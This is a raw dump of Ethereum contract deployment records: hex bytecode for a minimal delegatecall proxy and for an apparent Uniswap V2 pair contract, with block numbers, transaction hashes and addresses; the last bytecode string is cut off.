60a060405234801561001057600080fd5b506040516101093803806101098339818101604052602081101561003357600080fd5b50516001600160601b031960609190911b16608052600080546001600160a01b0319163317905560805160601c609561007460003980601b525060956000f3fe608060405236600a57005b348015601557600080fd5b506040517f0000000000000000000000000000000000000000000000000000000000000000903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c003300000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a
608060405236600a57005b348015601557600080fd5b506040517f00000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c0033
1
19,493,227
811799d61db416d882b7b273256d01dee83e6ead211cf8fea81c7461a0e21189
6748db229fcd890fdc61dfd835953f2d25d18041290d7fa3046c2ed20513702f
84ba51a3b082066482385c2e77c15b36b2888888
fc27cd13b432805f47c90a16646d402566bd3143
d770a82ad0ecd020ad310364d699e167a5f0e673
60a060405234801561001057600080fd5b506040516101093803806101098339818101604052602081101561003357600080fd5b50516001600160601b031960609190911b16608052600080546001600160a01b0319163317905560805160601c609561007460003980601b525060956000f3fe608060405236600a57005b348015601557600080fd5b506040517f0000000000000000000000000000000000000000000000000000000000000000903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c003300000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a
608060405236600a57005b348015601557600080fd5b506040517f00000000000000000000000080d0f44d6c1563de6ba356aa8dfe7abdbe8a174a903680600083376000808284865af43d9150816000843e808015605b578284f35b8284fdfea2646970667358221220c4a46717f67197616503d87ff2612122c70a6a9ed6d1f1999e000b68e428470964736f6c634300060c0033
1
19,493,227
811799d61db416d882b7b273256d01dee83e6ead211cf8fea81c7461a0e21189
60d0093c1b08d86e648b4327b8e3a9adaad96f14188b4de24c12f737fe49c9be
8bf0c74d5810c9611e435c21b3eedfb47158f027
5c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f
8f584115de964633b49a048e84d35adbfe7bd941
60806040526001600c5534801561001557600080fd5b506040514690806052612d228239604080519182900360520182208282018252600a8352692ab734b9bbb0b8102b1960b11b6020938401528151808301835260018152603160f81b908401528151808401919091527fbfcc8ef98ffbf7b6c3fec7bf5185b566b9863e35a9d83acd49ad6824b5969738818301527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6606082015260808101949094523060a0808601919091528151808603909101815260c09094019052825192019190912060035550600580546001600160a01b03191633179055612c1d806101056000396000f3fe608060405234801561001057600080fd5b50600436106101b95760003560e01c80636a627842116100f9578063ba9a7a5611610097578063d21220a711610071578063d21220a7146105da578063d505accf146105e2578063dd62ed3e14610640578063fff6cae91461067b576101b9565b8063ba9a7a5614610597578063bc25cf771461059f578063c45a0155146105d2576101b9565b80637ecebe00116100d35780637ecebe00146104d757806389afcb441461050a57806395d89b4114610556578063a9059cbb1461055e576101b9565b80636a6278421461046957806370a082311461049c5780637464fc3d146104cf576101b9565b806323b872dd116101665780633644e515116101405780633644e51514610416578063485cc9551461041e5780635909c0d5146104595780635a3d549314610461576101b9565b806323b872dd146103ad57806330adf81f146103f0578063313ce567146103f8576101b9565b8063095ea7b311610197578063095ea7b3146103155780630dfe16811461036257806318160ddd14610393576101b9565b8063022c0d9f146101be57806306fdde03146102595780630902f1ac146102d6575b600080fd5b610257600480360360808110156101d457600080fd5b81359160208101359173ffffffffffffffffffffffffffffffffffffffff604083013516919081019060808101606082013564010000000081111561021857600080fd5b82018360208201111561022a57600080fd5b8035906020019184600183028401116401000000008311171561024c57600080fd5b509092509050610683565b005b610261610d57565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029b578181015183820152602001610283565b50505050905090810190601f1680156102c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102de610d90565b604080516dffffffffffffffffffffffffffff948516815292909316602083015263ffffffff168183015290519081900360600190f35b61034e6004803603604081101561032b57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610de5565b604080519115158252519081900360200190f35b61036a610dfc565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b61039b610e18565b60408051918252519081900360200190f35b61034e600480360360608110156103c357600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610e1e565b61039b610efd565b610400610f21565b6040805160ff9092168252519081900360200190f35b61039b610f26565b6102576004803603604081101561043457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610f2c565b61039b611005565b61039b61100b565b61039b6004803603602081101561047f57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611011565b61039b600480360360208110156104b257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113cb565b61039b6113dd565b61039b600480360360208110156104ed57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113e3565b61053d6004803603602081101561052057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113f5565b6040805192835260208301919091528051918290030190f35b610261611892565b61034e6004803603604081101561057457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356118cb565b61039b6118d8565b610257600480360360208110156105b557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166118de565b61036a611ad4565b61036a611af0565b610257600480360360e08110156105f857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611b0c565b61039b6004803603604081101561065657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516611dd8565b610257611df5565b600c546001146106f457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55841515806107075750600084115b61075c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612b2f6025913960400191505060405180910390fd5b600080610767610d90565b5091509150816dffffffffffffffffffffffffffff168710801561079a5750806dffffffffffffffffffffffffffff1686105b6107ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612b786021913960400191505060405180910390fd5b600654600754600091829173ffffffffffffffffffffffffffffffffffffffff91821691908116908916821480159061085457508073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614155b6108bf57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f556e697377617056323a20494e56414c49445f544f0000000000000000000000604482015290519081900360640190fd5b8a156108d0576108d0828a8d611fdb565b89156108e1576108e1818a8c611fdb565b86156109c3578873ffffffffffffffffffffffffffffffffffffffff166310d1e85c338d8d8c8c6040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050600060405180830381600087803b1580156109aa57600080fd5b505af11580156109be573d6000803e3d6000fd5b505050505b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8416916370a08231916024808301926020929190829003018186803b158015610a2f57600080fd5b505afa158015610a43573d6000803e3d6000fd5b505050506040513d6020811015610a5957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191955073ffffffffffffffffffffffffffffffffffffffff8316916370a0823191602480820192602092909190829003018186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b505050506040513d6020811015610af557600080fd5b5051925060009150506dffffffffffffffffffffffffffff85168a90038311610b1f576000610b35565b89856dffffffffffffffffffffffffffff160383035b9050600089856dffffffffffffffffffffffffffff16038311610b59576000610b6f565b89856dffffffffffffffffffffffffffff160383035b90506000821180610b805750600081115b610bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612b546024913960400191505060405180910390fd5b6000610c09610beb84600363ffffffff6121e816565b610bfd876103e863ffffffff6121e816565b9063ffffffff61226e16565b90506000610c21610beb84600363ffffffff6121e816565b9050610c59620f4240610c4d6dffffffffffffffffffffffffffff8b8116908b1663ffffffff6121e816565b9063ffffffff6121e816565b610c69838363ffffffff6121e816565b1015610cd657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f556e697377617056323a204b0000000000000000000000000000000000000000604482015290519081900360640190fd5b5050610ce4848488886122e0565b60408051838152602081018390528082018d9052606081018c9052905173ffffffffffffffffffffffffffffffffffffffff8b169133917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350506001600c55505050505050505050565b6040518060400160405280600a81526020017f556e69737761702056320000000000000000000000000000000000000000000081525081565b6008546dffffffffffffffffffffffffffff808216926e0100000000000000000000000000008304909116917c0100000000000000000000000000000000000000000000000000000000900463ffffffff1690565b6000610df233848461259c565b5060015b92915050565b60065473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b73ffffffffffffffffffffffffffffffffffffffff831660009081526002602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff14610ee85773ffffffffffffffffffffffffffffffffffffffff84166000908152600260209081526040808320338452909152902054610eb6908363ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff851660009081526002602090815260408083203384529091529020555b610ef384848461260b565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60035481565b60055473ffffffffffffffffffffffffffffffffffffffff163314610fb257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f556e697377617056323a20464f5242494444454e000000000000000000000000604482015290519081900360640190fd5b6006805473ffffffffffffffffffffffffffffffffffffffff9384167fffffffffffffffffffffffff00000000000000000000000000000000000000009182161790915560078054929093169116179055565b60095481565b600a5481565b6000600c5460011461108457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611094610d90565b50600654604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905193955091935060009273ffffffffffffffffffffffffffffffffffffffff909116916370a08231916024808301926020929190829003018186803b15801561110e57600080fd5b505afa158015611122573d6000803e3d6000fd5b505050506040513d602081101561113857600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905192935060009273ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b1580156111b157600080fd5b505afa1580156111c5573d6000803e3d6000fd5b505050506040513d60208110156111db57600080fd5b505190506000611201836dffffffffffffffffffffffffffff871663ffffffff61226e16565b90506000611225836dffffffffffffffffffffffffffff871663ffffffff61226e16565b9050600061123387876126ec565b600054909150806112705761125c6103e8610bfd611257878763ffffffff6121e816565b612878565b985061126b60006103e86128ca565b6112cd565b6112ca6dffffffffffffffffffffffffffff8916611294868463ffffffff6121e816565b8161129b57fe5b046dffffffffffffffffffffffffffff89166112bd868563ffffffff6121e816565b816112c457fe5b0461297a565b98505b60008911611326576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612bc16028913960400191505060405180910390fd5b6113308a8a6128ca565b61133c86868a8a6122e0565b811561137e5760085461137a906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b6040805185815260208101859052815133927f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f928290030190a250506001600c5550949695505050505050565b60016020526000908152604090205481565b600b5481565b60046020526000908152604090205481565b600080600c5460011461146957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c81905580611479610d90565b50600654600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905194965092945073ffffffffffffffffffffffffffffffffffffffff9182169391169160009184916370a08231916024808301926020929190829003018186803b1580156114fb57600080fd5b505afa15801561150f573d6000803e3d6000fd5b505050506040513d602081101561152557600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191925060009173ffffffffffffffffffffffffffffffffffffffff8516916370a08231916024808301926020929190829003018186803b15801561159957600080fd5b505afa1580156115ad573d6000803e3d6000fd5b505050506040513d60208110156115c357600080fd5b5051306000908152600160205260408120549192506115e288886126ec565b600054909150806115f9848763ffffffff6121e816565b8161160057fe5b049a5080611614848663ffffffff6121e816565b8161161b57fe5b04995060008b11801561162e575060008a115b611683576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526028815260200180612b996028913960400191505060405180910390fd5b61168d3084612992565b611698878d8d611fdb565b6116a3868d8c611fdb565b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8916916370a08231916024808301926020929190829003018186803b15801561170f57600080fd5b505afa158015611723573d6000803e3d6000fd5b505050506040513d602081101561173957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191965073ffffffffffffffffffffffffffffffffffffffff8816916370a0823191602480820192602092909190829003018186803b1580156117ab57600080fd5b505afa1580156117bf573d6000803e3d6000fd5b505050506040513d60208110156117d557600080fd5b505193506117e585858b8b6122e0565b811561182757600854611823906dffffffffffffffffffffffffffff808216916e01000000000000000000000000000090041663ffffffff6121e816565b600b555b604080518c8152602081018c9052815173ffffffffffffffffffffffffffffffffffffffff8f169233927fdccd412f0b1252819cb1fd330b93224ca42612892bb3f4f789976e6d81936496929081900390910190a35050505050505050506001600c81905550915091565b6040518060400160405280600681526020017f554e492d5632000000000000000000000000000000000000000000000000000081525081565b6000610df233848461260b565b6103e881565b600c5460011461194f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654600754600854604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff9485169490931692611a2b9285928792611a26926dffffffffffffffffffffffffffff169185916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b505afa158015611a02573d6000803e3d6000fd5b505050506040513d6020811015611a1857600080fd5b50519063ffffffff61226e16565b611fdb565b600854604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611aca9284928792611a26926e01000000000000000000000000000090046dffffffffffffffffffffffffffff169173ffffffffffffffffffffffffffffffffffffffff8616916370a0823191602480820192602092909190829003018186803b1580156119ee57600080fd5b50506001600c5550565b60055473ffffffffffffffffffffffffffffffffffffffff1681565b60075473ffffffffffffffffffffffffffffffffffffffff1681565b42841015611b7b57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601260248201527f556e697377617056323a20455850495245440000000000000000000000000000604482015290519081900360640190fd5b60035473ffffffffffffffffffffffffffffffffffffffff80891660008181526004602090815260408083208054600180820190925582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98186015280840196909652958d166060860152608085018c905260a085019590955260c08085018b90528151808603909101815260e0850182528051908301207f19010000000000000000000000000000000000000000000000000000000000006101008601526101028501969096526101228085019690965280518085039096018652610142840180825286519683019690962095839052610162840180825286905260ff89166101828501526101a284018890526101c28401879052519193926101e2808201937fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081019281900390910190855afa158015611cdc573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff811615801590611d5757508873ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b611dc257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601c60248201527f556e697377617056323a20494e56414c49445f5349474e415455524500000000604482015290519081900360640190fd5b611dcd89898961259c565b505050505050505050565b600260209081526000928352604080842090915290825290205481565b600c54600114611e6657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55600654604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051611fd49273ffffffffffffffffffffffffffffffffffffffff16916370a08231916024808301926020929190829003018186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d6020811015611f0757600080fd5b5051600754604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff909216916370a0823191602480820192602092909190829003018186803b158015611f7a57600080fd5b505afa158015611f8e573d6000803e3d6000fd5b505050506040513d6020811015611fa457600080fd5b50516008546dffffffffffffffffffffffffffff808216916e0100000000000000000000000000009004166122e0565b6001600c55565b604080518082018252601981527f7472616e7366657228616464726573732c75696e743235362900000000000000602091820152815173ffffffffffffffffffffffffffffffffffffffff85811660248301526044808301869052845180840390910181526064909201845291810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fa9059cbb000000000000000000000000000000000000000000000000000000001781529251815160009460609489169392918291908083835b602083106120e157805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe090920191602091820191016120a4565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114612143576040519150601f19603f3d011682016040523d82523d6000602084013e612148565b606091505b5091509150818015612176575080511580612176575080806020019051602081101561217357600080fd5b50515b6121e157604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f556e697377617056323a205452414e534645525f4641494c4544000000000000604482015290519081900360640190fd5b5050505050565b60008115806122035750508082028282828161220057fe5b04145b610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6d756c2d6f766572666c6f77000000000000000000000000604482015290519081900360640190fd5b80820382811115610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f64732d6d6174682d7375622d756e646572666c6f770000000000000000000000604482015290519081900360640190fd5b6dffffffffffffffffffffffffffff841180159061230c57506dffffffffffffffffffffffffffff8311155b61237757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f556e697377617056323a204f564552464c4f5700000000000000000000000000604482015290519081900360640190fd5b60085463ffffffff428116917c0100000000000000000000000000000000000000000000000000000000900481168203908116158015906123c757506dffffffffffffffffffffffffffff841615155b80156123e257506dffffffffffffffffffffffffffff831615155b15612492578063ffffffff16612425856123fb86612a57565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff169063ffffffff612a7b16565b600980547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff929092169290920201905563ffffffff8116612465846123fb87612a57565b600a80547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff92909216929092020190555b600880547fffffffffffffffffffffffffffffffffffff0000000000000000000000000000166dffffffffffffffffffffffffffff888116919091177fffffffff0000000000000000000000000000ffffffffffffffffffffffffffff166e0100000000000000000000000000008883168102919091177bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167c010000000000000000000000000000000000000000000000000000000063ffffffff871602179283905560408051848416815291909304909116602082015281517f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1929181900390910190a1505050505050565b73ffffffffffffffffffffffffffffffffffffffff808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260016020526040902054612641908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff8085166000908152600160205260408082209390935590841681522054612683908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663017e7e586040518163ffffffff1660e01b815260040160206040518083038186803b15801561275757600080fd5b505afa15801561276b573d6000803e3d6000fd5b505050506040513d602081101561278157600080fd5b5051600b5473ffffffffffffffffffffffffffffffffffffffff821615801594509192509061286457801561285f5760006127d86112576dffffffffffffffffffffffffffff88811690881663ffffffff6121e816565b905060006127e583612878565b90508082111561285c576000612813612804848463ffffffff61226e16565b6000549063ffffffff6121e816565b905060006128388361282c86600563ffffffff6121e816565b9063ffffffff612abc16565b9050600081838161284557fe5b04905080156128585761285887826128ca565b5050505b50505b612870565b8015612870576000600b555b505092915050565b600060038211156128bb575080600160028204015b818110156128b5578091506002818285816128a457fe5b0401816128ad57fe5b04905061288d565b506128c5565b81156128c5575060015b919050565b6000546128dd908263ffffffff612abc16565b600090815573ffffffffffffffffffffffffffffffffffffffff8316815260016020526040902054612915908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6000818310612989578161298b565b825b9392505050565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600160205260409020546129c8908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602052604081209190915554612a02908263ffffffff61226e16565b600090815560408051838152905173ffffffffffffffffffffffffffffffffffffffff8516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050565b6dffffffffffffffffffffffffffff166e0100000000000000000000000000000290565b60006dffffffffffffffffffffffffffff82167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff841681612ab457fe5b049392505050565b80820182811015610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6164642d6f766572666c6f77000000000000000000000000604482015290519081900360640190fdfe556e697377617056323a20494e53554646494349454e545f4f55545055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f494e5055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f4c4951554944495459556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4255524e4544556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4d494e544544a265627a7a723158207dca18479e58487606bf70c79e44d8dee62353c9ee6d01f9a9d70885b8765f2264736f6c63430005100032454950373132446f6d61696e28737472696e67206e616d652c737472696e672076657273696f6e2c75696e7432353620636861696e49642c6164647265737320766572696679696e67436f6e747261637429
608060405234801561001057600080fd5b50600436106101b95760003560e01c80636a627842116100f9578063ba9a7a5611610097578063d21220a711610071578063d21220a7146105da578063d505accf146105e2578063dd62ed3e14610640578063fff6cae91461067b576101b9565b8063ba9a7a5614610597578063bc25cf771461059f578063c45a0155146105d2576101b9565b80637ecebe00116100d35780637ecebe00146104d757806389afcb441461050a57806395d89b4114610556578063a9059cbb1461055e576101b9565b80636a6278421461046957806370a082311461049c5780637464fc3d146104cf576101b9565b806323b872dd116101665780633644e515116101405780633644e51514610416578063485cc9551461041e5780635909c0d5146104595780635a3d549314610461576101b9565b806323b872dd146103ad57806330adf81f146103f0578063313ce567146103f8576101b9565b8063095ea7b311610197578063095ea7b3146103155780630dfe16811461036257806318160ddd14610393576101b9565b8063022c0d9f146101be57806306fdde03146102595780630902f1ac146102d6575b600080fd5b610257600480360360808110156101d457600080fd5b81359160208101359173ffffffffffffffffffffffffffffffffffffffff604083013516919081019060808101606082013564010000000081111561021857600080fd5b82018360208201111561022a57600080fd5b8035906020019184600183028401116401000000008311171561024c57600080fd5b509092509050610683565b005b610261610d57565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029b578181015183820152602001610283565b50505050905090810190601f1680156102c85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102de610d90565b604080516dffffffffffffffffffffffffffff948516815292909316602083015263ffffffff168183015290519081900360600190f35b61034e6004803603604081101561032b57600080fd5b5073ffffffffffffffffffffffffffffffffffffffff8135169060200135610de5565b604080519115158252519081900360200190f35b61036a610dfc565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b61039b610e18565b60408051918252519081900360200190f35b61034e600480360360608110156103c357600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060400135610e1e565b61039b610efd565b610400610f21565b6040805160ff9092168252519081900360200190f35b61039b610f26565b6102576004803603604081101561043457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516610f2c565b61039b611005565b61039b61100b565b61039b6004803603602081101561047f57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff16611011565b61039b600480360360208110156104b257600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113cb565b61039b6113dd565b61039b600480360360208110156104ed57600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113e3565b61053d6004803603602081101561052057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166113f5565b6040805192835260208301919091528051918290030190f35b610261611892565b61034e6004803603604081101561057457600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81351690602001356118cb565b61039b6118d8565b610257600480360360208110156105b557600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166118de565b61036a611ad4565b61036a611af0565b610257600480360360e08110156105f857600080fd5b5073ffffffffffffffffffffffffffffffffffffffff813581169160208101359091169060408101359060608101359060ff6080820135169060a08101359060c00135611b0c565b61039b6004803603604081101561065657600080fd5b5073ffffffffffffffffffffffffffffffffffffffff81358116916020013516611dd8565b610257611df5565b600c546001146106f457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601160248201527f556e697377617056323a204c4f434b4544000000000000000000000000000000604482015290519081900360640190fd5b6000600c55841515806107075750600084115b61075c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612b2f6025913960400191505060405180910390fd5b600080610767610d90565b5091509150816dffffffffffffffffffffffffffff168710801561079a5750806dffffffffffffffffffffffffffff1686105b6107ef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612b786021913960400191505060405180910390fd5b600654600754600091829173ffffffffffffffffffffffffffffffffffffffff91821691908116908916821480159061085457508073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614155b6108bf57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f556e697377617056323a20494e56414c49445f544f0000000000000000000000604482015290519081900360640190fd5b8a156108d0576108d0828a8d611fdb565b89156108e1576108e1818a8c611fdb565b86156109c3578873ffffffffffffffffffffffffffffffffffffffff166310d1e85c338d8d8c8c6040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f8201169050808301925050509650505050505050600060405180830381600087803b1580156109aa57600080fd5b505af11580156109be573d6000803e3d6000fd5b505050505b604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905173ffffffffffffffffffffffffffffffffffffffff8416916370a08231916024808301926020929190829003018186803b158015610a2f57600080fd5b505afa158015610a43573d6000803e3d6000fd5b505050506040513d6020811015610a5957600080fd5b5051604080517f70a08231000000000000000000000000000000000000000000000000000000008152306004820152905191955073ffffffffffffffffffffffffffffffffffffffff8316916370a0823191602480820192602092909190829003018186803b158015610acb57600080fd5b505afa158015610adf573d6000803e3d6000fd5b505050506040513d6020811015610af557600080fd5b5051925060009150506dffffffffffffffffffffffffffff85168a90038311610b1f576000610b35565b89856dffffffffffffffffffffffffffff160383035b9050600089856dffffffffffffffffffffffffffff16038311610b59576000610b6f565b89856dffffffffffffffffffffffffffff160383035b90506000821180610b805750600081115b610bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612b546024913960400191505060405180910390fd5b6000610c09610beb84600363ffffffff6121e816565b610bfd876103e863ffffffff6121e816565b9063ffffffff61226e16565b90506000610c21610beb84600363ffffffff6121e816565b9050610c59620f4240610c4d6dffffffffffffffffffffffffffff8b8116908b1663ffffffff6121e816565b9063ffffffff6121e816565b610c69838363ffffffff6121e816565b1015610cd657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600c60248201527f556e697377617056323a204b0000000000000000000000000000000000000000604482015290519081900360640190fd5b5050610ce4848488886122e0565b60408051838152602081018390528082018d9052606081018c9052905173ffffffffffffffffffffffffffffffffffffffff8b169133917fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d8229181900360800190a350506001600c55505050505050505050565b6040518060400160405280600a81526020017f556e69737761702056320000000000000000000000000000000000000000000081525081565b6008546dffffffffffffffffffffffffffff808216926e0100000000000000000000000000008304909116917c0100000000000000000000000000000000000000000000000000000000900463ffffffff1690565b6000610df233848461259c565b5060015b92915050565b60065473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b73ffffffffffffffffffffffffffffffffffffffff831660009081526002602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff14610ee85773ffffffffffffffffffffffffffffffffffffffff84166000908152600260209081526040808320338452909152902054610eb6908363ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff851660009081526002602090815260408083203384529091529020555b610ef384848461260b565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60035481565b60055473ffffffffffffffffffffffffffffffffffffffff163314610fb257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f556e697377617056323a20464f5242494444454e000000000000000000000000604482015290519081900360640190fd5b6006805473ffffffffffffffffffffffffffffffffffffffff9384167fffffffffffffffffffffffff00000000000000000000000000000000000000009182161790915560078054929093169116179055565b6009548156